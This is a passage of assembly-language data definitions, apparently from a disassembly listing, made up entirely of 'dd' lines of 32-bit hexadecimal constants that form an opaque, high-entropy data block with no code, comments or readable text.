dd 9CC81232h, 0A0649709h, 47146E56h, 94359586h, 3660B301h
dd 0C746C98h, 7C6102F4h, 599C5E5h, 0E287086Bh, 9D0045D5h
dd 0B2B015C9h, 0E8FA4A68h, 0E684C2Ch, 47B10FC4h, 51C91647h
dd 99DC0B1Ch, 1CB8900Ch, 4D0B9325h, 6E51C0B0h, 8E24E791h
dd 72818049h, 6C030514h, 5F9AF843h, 2406FD8h, 9DA57FBh
dd 39D45108h, 0B020845Ch, 60F89E5Ch, 0DF81B391h, 26213ECCh
dd 7AE2B709h, 2C66182Bh, 0AB2068B0h, 339B341Dh, 0F28CE291h
dd 63E13022h, 9AF67901h, 57EE350Dh, 2210B5D9h, 27014B85h
dd 1B58EA9Dh, 0F4E45E86h, 8A060318h, 66438062h, 9DBCA13Fh
dd 0D1802EDEh, 0B2F7BF22h, 0F55B0453h, 80F66180h, 0C36DDC95h
dd 4ED92891h, 0CB5EDC19h, 0D4F45C16h, 4D258C04h, 59D5EA00h
dd 0C60F7423h, 0EECCF14Bh, 0DBE66166h, 6422F55Ah, 22F007Ch
dd 0AFDC7E19h, 500F9E5h, 54937F40h, 2AEB89C9h, 0C4647Dh
dd 9EFADFCh, 0DA78531Ch, 18A3Bh, 0E645A524h, 5D7BB1DDh
dd 204FB028h, 0BEA444F4h, 5068DA00h, 9D41582Ch, 0BF7E0089h
dd 4E9314D0h, 2224FB39h, 5E1154A3h, 8CCB2E80h, 0C4BE72E0h
dd 262B58h, 0B8BA85CBh, 60C58115h, 19C99108h, 0E7E0046Ch
dd 11E0F4FDh, 1B3FDC99h, 0E2E6EDCFh, 0E5EC91F1h, 4AE84C8Eh
dd 0E911A3E3h, 2CFA8801h, 0A9C0FFFBh, 0FF71D460h, 0B3F42609h
dd 52A5D81Dh, 74960004h, 2992A048h, 0B1C297D1h, 2BAEDEFh
dd 685944BEh, 70183479h, 9C423Eh, 4C39E65Dh, 9F1BF56h
dd 74812206h, 0A6C21405h, 4F64B164h, 66E4F8C3h, 13815F3Dh
dd 23FC3AF0h, 0FC540026h, 183201A0h, 0B2701104h, 3CE039C5h
dd 0FC6E4C2Dh, 28C058C8h, 43E08ACBh, 20258222h, 0D3D080CBh
dd 3F4CD0FCh, 56025529h, 40E76987h, 0C56BD8C8h, 0EFCA1300h
dd 0E1DC1D3Fh, 5C15484Fh, 0D8335302h, 0C88461D5h, 0FA0A82C8h
dd 4D71CCD1h, 0EA68EC19h, 540C8200h, 7CC88E2Fh, 0D1B8B16Fh
dd 27D186Ch, 5EE16E19h, 0B89773DDh, 0D3802591h, 573BA23h
dd 465CD896h, 0FE74016Ch, 0DBECBDD0h, 6117F468h, 0E4B88890h
dd 5E20A320h, 6F6C202Eh, 0C400431Ah, 0F06C3363h, 2DE2B26h
dd 6673BBB0h, 8C788D96h, 84E8E101h, 7E50FBD6h, 806579A5h
dd 0D06795E4h, 0FCC6C1Eh, 3E161675h, 0DD16CFE7h, 2FB66CC2h
dd 0A30718C0h, 0F9022161h, 7CE796E2h, 66EA40C2h, 926CA394h
dd 40CC54EEh, 7568058Bh, 0E9B7E10Bh, 84BCA9B5h, 126F0DB0h
dd 1C05C74Dh, 0EC81737Ch, 51006B55h, 1F13B2A8h, 6CCF8FC3h
dd 37C03388h, 2CAAB63h, 91563ACCh, 58D039C1h, 0F306612h
dd 89691044h, 0B9556CC1h, 0C0E99444h, 0DBEED3B8h, 24CA062Ch
dd 20BF9909h, 92595508h, 278F309Ch, 2335110h, 7ED14099h
dd 0C002318h, 0E2F29AE7h, 25A86E89h, 0C0297E1Fh, 910C3872h
dd 0E86D7129h, 0E5E2040h, 0DB01E509h, 0C240CDA8h, 0A082FF68h
dd 0E200428Dh, 9C0C93FDh, 79465E3Ch, 635B7D09h, 303C728Ah
dd 0FDCD6569h, 7C1F614Ah, 0D08B00A2h, 65944BF2h, 0AE13E415h
dd 7C8001FFh, 50BF61F9h, 8C3CD877h, 57AA8804h, 2062F891h
dd 0AAF05520h, 8FF400A9h, 0A21CEE1h, 1150FFE0h, 93137CC9h
dd 0BC2FC204h, 0AF003323h, 38864A1Eh, 3DF725FDh, 98510462h
dd 0A43DFFC3h, 0B204F225h, 30FE3020h, 9242FD07h, 0FCC2143Eh
dd 8CABB5h, 87D44678h, 0DF9C2447h, 2C97A744h, 44806E91h
dd 0AD14C140h, 6CC76113h, 5A0C8h, 81C0AFE1h, 87F2E090h
dd 0D610271Ch, 94068CD7h, 0E781A1Bh, 902C998Bh, 8EB53A45h
dd 0C3348868h, 7DE0C681h, 122659BDh, 0E401BD44h, 69A3B8ADh
dd 40EF1820h, 3301C98Eh, 6610B2FDh, 6434B488h, 9962447Ch
dd 0AECEC800h, 0F3AFFAF4h, 94340492h, 0FC18A5DBh, 30F6B998h
dd 0BB2EFA15h, 0BC206FEBh, 5F2D26ECh, 0F1E8327Ah, 186259DCh
dd 0C5E51223h, 0DA68C0D9h, 9518F813h, 0D8107A19h, 1FEB29E9h
dd 186AF1ECh, 0A835007Ah, 0A143275Ch, 61258FF8h, 0E2249B8Bh
dd 0B1260735h, 0C0E5C9F5h, 0F11D18B7h, 56498B28h, 0F9A45160h
dd 27184Ch, 312E0289h, 0C5CF1A65h, 6834485Ah, 37AC28ECh
dd 396A008Ch, 4BBDE53Dh, 5E19828Ah, 0BBF96040h, 4C951480h
dd 7C2F92EFh, 3A012A00h, 0FC51DFEBh, 20709844h, 80DE4555h
dd 72A9310Fh, 0FBCAE0E4h, 23D83A05h, 35D90027h, 0CF3D1B78h
dd 0F42F414Ah, 0AB027F23h, 0F039CF0Ah, 169C9494h, 0C47889E3h
dd 2800A5E9h, 0D95AB7A9h, 0E272C7h, 0F616410Dh, 0D3966959h
dd 0C9F4F71Ch, 0FB40739Ch, 0E6FAA4F1h, 4571250Ch, 0E91DB837h
dd 6C89C741h, 0BDF4E2C4h, 974C9075h, 0B1911C17h, 3D7AE083h
dd 32D5A4D0h, 0EF885CBCh, 9661041Ch, 0D9064041h, 0B498A2DBh
dd 119360D8h, 5B845F69h, 23E02E73h, 0BFA60023h, 0D98DE755h
dd 0E5B95703h, 26F75CDh, 7EC4690h, 0E8D9B324h, 57186AD1h
dd 0E41AE500h, 44EF228Ah, 2CADF642h, 8B801D01h, 0E4456479h
dd 2B8A188h, 0BAB5EFE0h, 0FC9D30CDh, 0C88E4656h, 3FC021C8h
dd 4FF0127h, 0E9DDA35Bh, 0E508D0ABh, 4C9AD1ADh, 0C020C45Ah
dd 5479C55Bh, 972D86Ch, 68339566h, 4C6490E7h, 6DEC4067h
dd 400F33F0h, 69CE3217h, 0E0F88DA0h, 0D4D244E1h, 0BE04F498h
dd 9BD0E984h, 0CE14B4h, 0A8BB50E1h, 0F7970AECh, 8060663Fh
dd 1BAC150Ch, 186712DDh, 0D9EBF156h, 32D99DAh, 50902813h
dd 0A1C9441Bh, 0F2E4FECh, 0E2B39B04h, 66550AD8h, 404F8892h
dd 0C1D68D9Eh, 0F0BE518Eh, 3A471993h, 2342314h, 71535B4Dh
dd 0DD1C3D74h, 0E89E84C9h, 0B7FAF78h, 7C01399Bh, 7D050868h
dd 8EA2B000h, 0BF4CC882h, 0F2FF0EBAh, 85A0F623h, 6B699966h
dd 9D54F102h, 6295D9C9h, 44E86794h, 0E00A637Fh, 7C460F9Dh
dd 50734916h, 331D08B8h, 30C19CCEh, 73D5E7E1h, 0FBACC439h
dd 37CA4B00h, 0F91013A7h, 59D8C093h, 0EFB60AF2h, 0A66B2D40h
dd 25CC00A0h, 0DDD35A66h
dd 89CC3E1h, 0B8E35112h, 9988E207h, 0CFF9CC7Dh, 17E10D00h
dd 0F75E7677h, 289B5035h, 0BE910BABh, 0B00BDDDAh, 4800E459h
dd 0F1FD42C5h, 940100A6h, 99112D55h, 0C109BBA5h, 72C01FCBh
dd 28F602ACh, 7A5D3766h, 681D80ABh, 66809511h, 0B374B4ECh
dd 45F1C109h, 0A9046840h, 0C99900A7h, 0ED1A140Ch, 0CC002410h
dd 2C6F8FF6h, 0BBB373h, 9EF14497h, 0BE5AFF3Bh, 9C00E8EEh
dd 1AD6757Ah, 0E04CD4F5h, 5CD89471h, 0C092446h, 7C8281B4h
dd 1F01BD19h, 0A44C7011h, 7AFA0079h, 54BDA79Eh, 0CCA321B8h
dd 6CEAC0AAh, 0EE7830D3h, 907F05C7h, 0A8F52993h, 6540131Ch
dd 79B9CA4h, 75C368ADh, 1242A035h, 0E09CAFDAh, 562465Eh
dd 40F6F3D2h, 0E10CBC30h, 42690070h, 6C67CCB2h, 96036313h
dd 94026E09h, 7B97E841h, 0B762E01Ch, 9D243890h, 0FD313E00h
dd 22102FC2h, 0F87800E8h, 0B29C67ECh, 0DB12E645h, 8E41451h
dd 0E8B445F6h, 7039B2FBh, 0AB6F80E2h, 6C191EFCh, 0B7E804CDh
dd 907D7CF5h, 9A9FB23Ch, 7004EE76h, 0BC10418Fh, 515F70C0h
dd 5C34E86Ch, 26E89892h, 9A61058Ch, 4C614C2h, 485CC5BCh
dd 0ECAE807Ah, 6413C4A7h, 0CF244601h, 0CC169CABh, 0BEC2842Ch
dd 48598981h, 0C338EDA7h, 83C82262h, 9807A6ABh, 9356C54Ah
dd 0D8F440F4h, 0CEC61DBFh, 4E3400B0h, 0C1C5E5C8h, 172E18BAh
dd 61112068h, 10DB6274h, 630104C5h, 0B9E1FBD8h, 0C8AB00FEh
dd 0A12C8B61h, 0B1421065h, 0F878401Eh, 1BDD2FC5h, 1F07DC48h
dd 203AC881h, 7BADC1F0h, 0A7FDE280h, 601A44C0h, 5BC808B7h
dd 0A8C4801Dh, 197159Eh, 45607708h, 306E7Eh, 87239E83h
dd 53EC9EFh, 95FBB780h, 0C48C53E1h, 0B054B6D0h, 3F1EAF5h
dd 0ADF843E4h, 502D7C3Dh, 11C378Fh, 9480EBFFh, 39F7C097h
dd 7C0160B0h, 0FE660F33h, 0FC6C4460h, 2C8C1AECh, 112C6E24h
dd 0EE3600BDh, 692E38CFh, 3E635A2Ch, 7E2378h, 0B0C72667h
dd 0A0A4EBB7h, 8ECD1C00h, 44CA3D3Ah, 55FF12E0h, 3490364Bh
dd 0FC09AA5Ah, 91949F79h, 8143804Ah, 1DA0223h, 747AF76Fh
dd 39054DD9h, 0F87BAC80h, 32B003E0h, 14292A2Eh, 59A8B6E0h
dd 27CCF059h, 11B01FFAh, 615A8095h, 989CECFh, 5D1D0BAEh
dd 620084FAh, 40F3DB6h, 2F9A6AAh, 0B46C988Ch, 246003E5h
dd 55803C3Fh, 75101733h, 951CE47Ch, 2F0BA41h, 4C8315E7h
dd 3172E893h, 9B6142E9h, 0F508241Ch, 0FB46E200h, 396F2B5Fh
dd 962F0298h, 37D80C9h, 649138DEh, 0EC6C4F00h, 0AAF785ABh
dd 45290500h, 1E878252h, 8004B9DAh, 0F16F932Dh, 0B701CEE5h
dd 11908256h, 0DC689D61h, 952DB0D8h, 95C1D780h, 71EB0A0h
dd 0E20C4C2Eh, 0C1DA1FF6h, 56CB0047h, 35AFC769h, 512DC46Ah
dd 0A62C03DCh, 61A00917h, 820B795h, 909856E1h, 40B4ECF8h
dd 0D4EFF481h, 322A9493h, 58C44344h, 0DD602499h, 7A852280h
dd 20010EEBh, 0B22CD991h, 545CF638h, 63DD10B8h, 306FCC51h
dd 0C5B21088h, 541C194Bh, 0C81028D3h, 0C21060F3h, 0C32DA051h
dd 0C31FB698h, 8800B7C3h, 64BC0456h, 12CE3DC1h, 0D1626A0Dh
dd 944AC38h, 22AC282Ch, 15D5008Ch, 0D43B1011h, 8C5F7386h
dd 0D44963BCh, 0D9EC1605h, 0B240E348h, 7E193025h, 0DC626E28h
dd 1B39C322h, 29153D66h, 0E70530D1h, 0E7E47004h, 0B6249981h
dd 13BCA190h, 0B0730AC4h, 0B36A0931h, 0D8C195ADh, 0B7C292Fh
dd 0E8F0D016h, 66983Ch, 0C19DCEEDh, 0C68ECC41h, 4EF3A10Ah
dd 9908B802h, 5F716261h, 56087412h, 6D281A46h, 0E26E4484h
dd 0CB979F4h, 27450700h, 924D298Bh, 0E0069728h, 17B5B995h
dd 80B191DCh, 0E7BA0102h, 0B1A54A9Dh, 0BC7C2C6Ch, 4C078C4Ah
dd 2EF1E386h, 6F11C080h, 81E807E1h, 0E0EBA3D2h, 0B3AEE454h
dd 9A2C8A7Bh, 4674F072h, 5E94002Dh, 256D1D4h, 0B8BD00C1h
dd 3016DA5Bh, 0BB391A0Ah, 0E02FCFEBh, 1C004D23h, 97C70D66h
dd 6C645CD1h, 675110h, 3AB2251Eh, 0B7A4DBFAh, 0A800D8B7h
dd 73E87955h, 0BEB7000Ah, 0E9DC38ACh, 0F0B922D3h, 0C024CD2Dh
dd 7BDA203Eh, 0BC27C700h, 4818744Fh, 0C19C1387h, 8B345605h
dd 0C00DC84Ch, 8DF6B8Dh, 5344F001h, 26F6F39Eh, 9C6CFAD1h
dd 748C4FB8h, 0CF260972h, 70107F3Dh, 39027E5Eh, 944F3B85h
dd 0B9F060F3h, 0E66F80A5h, 0B4132090h, 0C002E129h, 9642131h
dd 6D7F040Fh, 0FA5528A0h, 7D54D1C5h, 61D765D8h, 1F91D081h
dd 1997E44Dh, 0C8C0CBB6h, 0C1B0C027h, 0C49511A3h, 529300C0h
dd 0CDF80B81h, 0AC0BF36Ah, 0D2336680h, 0E46E0B1Ch, 6C0265F1h
dd 0E05436EFh, 0DC57B07h, 12D8983Ch, 125E0BE1h, 0F734B204h
dd 14CAD8h, 46D79782h, 0A94F2993h, 52530809h, 5E209454h
dd 40009746h, 742D23B5h, 7F0046A2h, 61FFABDh, 97E8B616h
dd 0B191B017h, 0F7C36A82h, 24213865h, 0CC194851h, 0E4A0F308h
dd 40009DDEh, 0BCE53B4Ch, 0E9CE6FCh, 9745D76Ah, 33C8B10Ah
dd 90A47CEAh, 0C6A4260Ch, 4410D1Ch, 0B05FFE80h, 22BBA34h
dd 0E7B7E9C1h, 1C000E7Fh, 9A778Ah, 65C46CCEh, 7CCDDFA5h
dd 3D24FB75h, 42602C6Eh, 5AA490D0h, 6750D0F6h, 0C0E51DBh
dd 7E0D8E9h, 84401CE8h, 233F67Fh, 0A97B434Ah, 98D195E7h
dd 0D0183279h, 0FB28640Fh, 0F250A01Eh, 4827B45Dh, 2922433h
dd 91E68CC0h, 5A09AC40h, 0C379D81h, 0C8848A4Ah, 7B7CA33h
dd 607A46F0h, 516CCF61h, 0B004C73h, 0A3CC533Ah, 1F9957h
dd 598DE737h, 73DD51E1h, 0F51D353Ch, 6E88B367h, 0D67453C0h
dd 24E27CF5h, 0A7FC4D0Dh, 595DACE0h, 42D9B1C8h, 0CCA37843h
dd 0CEB0A709h, 37E4EBBCh, 1033D91Ch, 0F12841D8h, 0C21F2C56h
dd 821761A4h, 57F60296h, 1B76FCA0h, 6D1DDE27h, 9F80A44Dh
dd 0FDD944B2h, 4FD70098h, 92D4E1A0h, 626745C9h, 0E8DE5359h
dd 3380BE6Bh, 0F4FEF7D8h, 0B904F272h, 6F85D748h, 0FC5340CDh
dd 0E5110457h, 8A6FD9CDh, 5DF872FCh, 4A4477F7h, 7C23A82Fh
dd 0E503FF24h, 3C639DC5h, 5AD4650h, 0E460184Dh, 14187513h
dd 0C49CA298h, 6504F4D3h, 0A5A5DF3Ch, 0EEE8453Ch, 66C280B1h
dd 124EC674h, 35C5E816h, 0F250E2B0h, 0B9C53062h, 0C043490Fh
dd 5319CB2Bh, 4EA97340h, 208BD840h, 0C503D012h, 801EF00Fh
dd 0DA6E43B9h, 3CAB9DE9h, 6A751402h, 0C7DDE402h, 6023642Ch
dd 1ED7D22h, 11ABA6B3h, 269C8E0Dh, 307CB2D4h, 61266521h
dd 0C149AC95h, 0D4429984h, 8FE32067h, 0FE0114CAh, 366546B0h
dd 55D26FD0h, 0E6F14C82h, 207954F9h, 4B00CB18h, 7FF6BD1Ah
dd 94307BDEh, 0D50A6E8h, 59D86A5Dh, 1CDB2BF4h, 0C9F23D80h
dd 9A157061h, 7807B7Dh, 0C26D311Ch, 0FAEFAC70h, 0E6ED1C2Eh
dd 0DD3D8214h, 20EAE120h, 27113C1Dh, 44CC2380h, 0F4B1B93Bh
dd 545A0E01h, 0C2045D0h, 7D021856h, 61359160h, 0D5727C00h
dd 5DD089ABh, 82149B50h, 3619C5FBh, 0AB024454h, 90818A61h
dd 3A9CE8DCh, 23CB2BD5h, 21EB8980h, 0C0AAB48Fh, 0F473D044h
dd 0BB4CE52h, 2B122E1Fh, 67206DD4h, 551D7089h, 0C5203191h
dd 0B86A0F63h, 287959F1h, 0B8B428FAh, 0D9B08CB0h, 99EFE00Ch
dd 793C842h, 9DF4CE05h, 0BC119BA8h, 34C82EB6h, 0EB4601DDh
dd 77A4917Dh, 0BCF0282Ah, 0BB008C4Ah, 100D9644h, 25B99028h
dd 0A8FAD81Fh, 79674030h, 111B2Dh, 709FC21h, 0AC297C13h
dd 12D3FE58h, 90A87BCDh, 488C4CECh, 6F13B5EEh, 0EFE00263h
dd 80A2BBD9h, 0B0A11511h
dd 0F42EF1C9h, 53F79BF8h, 0B4883A84h, 44002065h, 375E2367h
dd 0A007E5CEh, 28ADFBC0h, 0BD4C7975h, 0F07EC37h, 0C2C03963h
dd 9D9DBF9h, 4FE0E8E9h, 6A444847h, 0AEBD7660h, 3F4C5202h
dd 5EF8DDABh, 1CFB0020h, 268599CDh, 18D0F14Ah, 6A86F529h
dd 0A84CE71h, 4B687C15h, 320010B7h, 42B39DA7h, 53290945h
dd 847451ADh, 0CB80F545h, 14221979h, 0BA33FE8Fh, 10C25505h
dd 0D3ECE989h, 25C8348Ah, 0E012FFC2h, 1C35777Ch, 0A88AB1D8h
dd 11D880A8h, 0BA46800Bh, 91781795h, 9BD28169h, 357A8CF7h
dd 83DCA8E4h, 0E001FB25h, 12631D2h, 4B03D334h, 0D4EB68FDh
dd 0B713ACDEh, 54C26F9Bh, 80FC56F6h, 0B587E888h, 7CA57E0Ah
dd 0B36020E4h, 0A7E69922h, 0E2466102h, 5C4AA5CFh, 802CD9F8h
dd 58DC7481h, 9EA1CDF8h, 0B1DA05A8h, 7AB48543h, 0A1D70044h
dd 1EC99F97h, 0D10D040Fh, 0B944E433h, 40510884h, 9D24393Ah
dd 4C625FEh, 0B24E3843h, 3048B220h, 4C0F1958h, 221A21Bh
dd 82E56CD2h, 935D88h, 0AB43298Bh, 0E44C264Fh, 18DC414Fh
dd 982AA3B1h, 22BD879Bh, 2E6EDDC4h, 0A209EF02h, 248384DAh
dd 0DB47B125h, 0F2057094h, 0A310EC18h, 9CA02DA8h, 985A85B0h
dd 0A6F4533Bh, 9CB4E424h, 0CFF50030h, 1E61F6AEh, 0E12599E9h
dd 6B78254Fh, 0E46D3CC0h, 813A5B17h, 44DF1FF4h, 0C1C0AC6Ch
dd 6EA5102Ah, 59FA9C34h, 0D8BD74E3h, 0FB606E86h, 0CA895FE8h
dd 32660B40h, 0E447473Ch, 1D612164h, 0DE3BE0DFh, 51DBC504h
dd 44AF14F8h, 130181B4h, 46EF90C0h, 9E2602FBh, 2B1F9C5Bh
dd 40AEFCA2h, 0F1581A00h, 28930061h, 33352FAAh, 0CF2E174Ch
dd 0EB006D32h, 5489BD8Ch, 1C1E6687h, 0E6600877h, 0BD850D21h
dd 0EF58C080h, 0D8D7CF8Fh, 54B2B000h, 0BE0C2C12h, 3C1501EAh
dd 0B37FFA9Dh, 52CB0036h, 24F20E53h, 0CFAF46BCh, 4C083EACh
dd 4B7321C1h, 76214DF2h, 0D0048103h, 76C60B8h, 16D1431Fh
dd 4C50836Bh, 410610EEh, 40B507B0h, 27F0741h, 40E85C19h
dd 0A985BF91h, 0D0389203h, 3ACB35B4h, 891D98C0h, 4E11B0E2h
dd 5901F62Ah, 0FE5747B8h, 8980FAFh, 22752143h, 723EF607h
dd 0A0F1BEC7h, 0BAC046E1h, 83E0C88Eh, 28F257C0h, 226646BCh
dd 77754Fh, 4555B1F2h, 133A1B08h, 0CE18E776h, 0CA713BE3h
dd 980903E2h, 0A7FC79B1h, 0BCCE27E8h, 37B3F01Fh, 99C4E640h
dd 30DB11F1h, 3258FFB8h, 7906BFB9h, 0A35A6FFBh, 2854698h
dd 0BC2AF259h, 10473176h, 7F25179h, 0B48314BAh, 350EC05Ch
dd 5701E856h, 4A38DF5Bh, 0B9E4E7B8h, 31AA0176h, 0D080BA43h
dd 81C4471Ah, 40E5D4AFh, 84CB998Ch, 2504B0ACh, 1FB854F6h
dd 70204662h, 0FD7F61Dh, 0FB113AEEh, 0BC460C3h, 0C1B580Dh
dd 98F3282Fh, 5C5120h, 0BA599FE9h, 13A19711h, 116F03Dh
dd 0C8CB108Fh, 0B0814063h, 1B1D2F64h, 1A9050FDh, 8D388E89h
dd 36EF8683h, 6008737Bh, 813C6115h, 8D006C8Eh, 0D0C0279h
dd 185BE503h, 0D8ED40AFh, 3B0DCBDFh, 10EE3487h, 0F2BE7040h
dd 0C3D4813h, 58DC7810h, 7D42062Dh, 7CE0CE17h, 9C9216h
dd 63DACF1Dh, 0F812EF61h, 0E500D0FEh, 0D12718BBh, 30F05704h
dd 58C03DF3h, 39C0D217h, 6EE7ED20h, 5257CECh, 0E30B813Eh
dd 4CA04042h, 0BA7560F0h, 8200A0F4h, 26F5D833h, 3E9C9EDDh
dd 1CA4786Dh, 0D7166380h, 86B35900h, 69E48B0Ch, 1C4800D8h
dd 4C9560A3h, 0B7004501h, 0EEBDBE2Ah, 0EFCC5Ah, 0FE1B8C57h
dd 17D480B9h, 2098D0A1h, 33263644h, 91C02051h, 46548EBDh
dd 0E422AFh, 0BBD8A12h, 0DD14C8F6h, 8141DC14h, 58B70650h
dd 246007C0h, 1128D25Dh, 0F6248083h, 8C17B853h, 1C6F4744h
dd 80C9F61Ch, 22D184F7h, 0F328B7FDh, 5248AC47h, 8C45E850h
dd 8CDBE638h, 193DE3C6h, 68E077h, 15F1F843h, 0CD6B49C2h
dd 8060C139h, 0A1B498F0h, 390725A7h, 3035BADBh, 1E4C0838h
dd 898E8AC3h, 1F0E8B83h, 68C0823Dh, 605DC3FBh, 88580297h
dd 3FB65CF1h, 33368FE1h, 0E294426Ch, 206D3142h, 0EDBCE4h
dd 0A2FBBB5h, 5D7BEFCEh, 8350998h, 0C118348Fh, 0A404BB60h
dd 0CE0CB7BEh, 0E08084D0h, 2840CF13h, 0B6DA33E1h, 21785223h
dd 118E8D30h, 88A38391h, 85408713h, 9F87B08Eh, 0CA48A4CDh
dd 6BF90048h, 4BF054E1h, 4498DE52h, 0C46110C4h, 5060C254h
dd 11BD9030h, 88A7548Dh, 891180E0h, 930FA9BDh, 0D1B0091Bh
dd 0C1B87419h, 8EC1DA9h, 2C608C3Ch, 8C20C88Eh, 90118C7Bh
dd 11889B83h, 8E843F80h, 5471CC8h, 0A0975C4Ah, 5A980BD1h
dd 60841C24h, 2129F258h, 78C06EBCh, 0A0F250h, 0D4AF47Eh
dd 16CDD8D5h, 0CC038809h, 31D8A0B8h, 0C61C8B4h, 372E7015h
dd 0B5760988h, 94483368h, 0C4944A11h, 7754870Ah, 40E8C494h
dd 30BD830Bh, 0B38C002Ah, 1A804BF7h, 0BC3A49F4h, 0D0E331B7h
dd 30523F18h, 0BD8B304Bh, 7F548813h, 0C0438h, 5C3EBD84h
dd 0E0BCB1EAh, 3B7E4111h, 29D31718h, 63A6E1Ch, 0ACEF0522h
dd 0A0088BBAh, 0F254C080h, 4E46BC25h, 4C748877h, 0FF00F272h
dd 0D00C6104h, 78DDA40Fh, 38D8A81Bh, 1E2E04DCh, 0C101E6D4h
dd 63DAF7E9h, 0B06002B0h, 0C30FEFA1h, 0CEC0FCFCh, 90066880h
dd 7FF90A7Ch, 88E6A4h, 34B1B0EAh, 0C1C2D518h, 0D8F4FD51h
dd 0F8A0450h, 0C2BABE64h, 29308844h, 0B85811F6h, 8048883Fh
dd 1CF62174h, 230389F0h, 1BD38699h, 0A5C10E0Eh, 36203B08h
dd 6DA2160Ah, 0D2002675h, 31F058CFh, 420DB99h, 70EC7B2Ah
dd 9B18814Dh, 0B77C243Ah, 749086Bh, 7F45C130h, 0EEE888h
dd 84A1A0FDh, 499FE8CAh, 3408C091h, 20954B44h, 2580E891h
dd 0E634D050h, 0ACA06100h, 0B9994B17h, 0C3C117C5h, 7CC020E2h
dd 0B3E2EF14h, 0E6339500h, 9884E8DEh, 8D640146h, 457A8AB8h
dd 6740FE1Ah, 0E8911718h, 31CC3500h, 1B5C968Dh, 0D0E82CB7h
dd 0F8BE29C0h, 42D104B1h, 6217A918h, 7C435088h, 8330B7BDh
dd 60588047h, 18A49A90h, 39647B41h, 91C0DB16h, 441C7353h
dd 391A162Fh, 811B00AAh, 7AC69AB6h, 80F81858h, 0DCD6CED9h
dd 0E34A18B4h, 834C493Fh, 0D8E9BC07h, 0B050C4F3h, 3E7F1F01h
dd 1301DFA8h, 0FA194C8Dh, 5A40D03Fh, 7A8BB000h, 86319854h
dd 2EB14409h, 59942B02h, 61245690h, 3019226Ch, 83269247h
dd 16C46CABh, 8E864140h, 7F07AEF4h, 0F5C71202h, 26856270h
dd 47EF17FFh, 6FC0123Ch, 2DA60298h, 441C9571h, 0CF0D09CCh
dd 6280F168h, 31992844h, 0EC41B324h, 439E6D80h, 0D9A602h
dd 7A931D18h, 9F372C24h, 0C0548005h, 0A8D35077h, 4FD0C085h
dd 8D11C363h, 5A05DAB4h, 7FF0F2CBh, 0B385A60Eh, 0E123643Ah
dd 11B66603h, 0B421E5E5h, 14C3C0DAh, 0CB209C9h, 5FC85406h
dd 4C07885Ch, 5AD374EDh, 7FC02961h, 0AC64DAF9h, 608500BDh
dd 58E46BEDh, 1C302BBFh, 0D722510Eh, 0EB7D0048h, 0B82ABEF0h
dd 6500101Dh, 0BDE34DC5h, 0A5BAE61h, 0CDBB0963h, 7F4F6FFCh
dd 8CB76682h, 9201D851h, 5890B423h, 8B03E821h, 8402BDD3h
dd 0CAF4E483h, 8D4E4084h, 38E32413h, 1546741Ch, 312D2Eh
dd 7A686008h, 825C4250h, 0A409DEFCh, 7FC4C2Ah, 77953F1Ch
dd 504727D8h, 0A3A6419Ah, 44947A01h, 4EA5F367h, 192FFFCCh
dd 401DA488h, 0D473C2h, 8A8B97BDh, 7F96022h, 9E185CBCh
dd 83C0A3C8h, 878009E5h, 0F62804B0h, 37B85713h, 73C438h
dd 519BF620h, 0B6AEA177h
dd 5C481D58h, 2F4B80D8h, 517CF59Fh, 8C36946Fh, 6AA2E5F0h
dd 59ADD601h, 0F0B4AFBCh, 612ED840h, 40144DA4h, 680FEB3Fh
dd 46D3A22Fh, 29DCC048h, 0F92B9F02h, 885638B4h, 465C44E0h
dd 0D13405E5h, 0FCC5118Dh, 80E44903h, 0B4500A5Eh, 17D4025Fh
dd 579C201Ah, 0D032B8B0h, 719C90DEh, 18497190h, 0DA5A07E2h
dd 0F05D89EFh, 0B7B3DC60h, 0FF1548B1h, 513D06B4h, 5C38FB38h
dd 48BC089Ch, 6B10008Ch, 0EFEE861Eh, 0C9A51FBh, 0FC68BA14h
dd 1CB783B0h, 0B0780CD2h, 3D7133AEh, 503ED508h, 5A40A3A7h
dd 95F77AC0h, 67020AECh, 19F04F05h, 78B04312h, 315662E0h
dd 54720D1Bh, 25467600h, 69CE9B38h, 47DB1F92h, 6CEBC019h
dd 602613CFh, 31311C30h, 0B230E425h, 0B89228D4h, 8C9D230h
dd 0B444B04Ch, 0BBD38A4h, 0FC7F8FF2h, 4E443A03h, 0FA2C403Fh
dd 4A4CAEECh, 51429E6Ch, 81037488h, 0F897BF98h, 808CD455h
dd 650D58FDh, 71EA9C00h, 1DB47AD4h, 322CCAF8h, 4674C4F9h
dd 0E159004Ah, 0B11222BDh, 0EA94C23h, 602B5602h, 0C841A6BBh
dd 55C85881h, 0BC26F208h, 4E4DC456h, 0DDF2A075h, 183D3E0h
dd 0D9BFF758h, 42FEF6C1h, 0F49990C4h, 0F2C4197Eh, 3EBC2923h
dd 4A72402Ch, 397EE6F2h, 3DC6D000h, 0F0565411h, 336496B7h
dd 28D483Ch, 3FC8CAB0h, 8513BC58h, 0C841F0ECh, 52FEBC1Bh
dd 80F04C66h, 0E3306C48h, 0CB98393Ch, 4B8AC85h, 0B855F626h
dd 20496227h, 0AEF61E71h, 6BDF3500h, 0B87451C6h, 0C82F67AAh
dd 0E00B48A7h, 0A140809Fh, 3C636Eh, 0F231A0DEh, 0E8DA8FF8h
dd 8211E49Ch, 52F62380h, 0B8B90FB8h, 0F61B6EC0h, 0B0587146h
dd 5AB8B0EEh, 8BE46427h, 0C04988DCh, 0A75175DBh, 3DAAC100h
dd 523E4D42h, 0B4848244h, 6A804306h, 30CED0A6h, 0D65104D1h
dd 0C0A97675h, 81428E10h, 2A5982F9h, 0C6FE1B8Dh, 3B751E00h
dd 8FA0000Bh, 9DAE2660h, 4F791C91h, 29008418h, 5ACDC57Ch
dd 0B38771Fh, 18E41D17h, 0AF6C821h, 53C8E02Dh, 0BE2D1492h
dd 82D409F1h, 0E3FE0E8h, 95932BDh, 0C6313140h, 49C7C303h
dd 0F53E9345h, 884DE0A7h, 7600A7ACh, 6AB8ED37h, 7F7B999Eh
dd 142DEB0Eh, 8DC04DC8h, 46548ABDh, 0E2228Fh, 0C5BD860Eh
dd 0DFB2F092h, 8941CB14h, 7F8E80E8h, 0C040E36Eh, 7E589311h
dd 40089CCh, 9929870Dh, 1C94C4E6h, 0C445E306h, 0B26A192Dh
dd 334BF2BCh, 0A0B57E80h, 70B3B802h, 40F8A391h, 823EDF80h
dd 0B28A7880h, 201FADEFh, 4E055B6Fh, 0BC03FC86h, 0BFD51CF1h
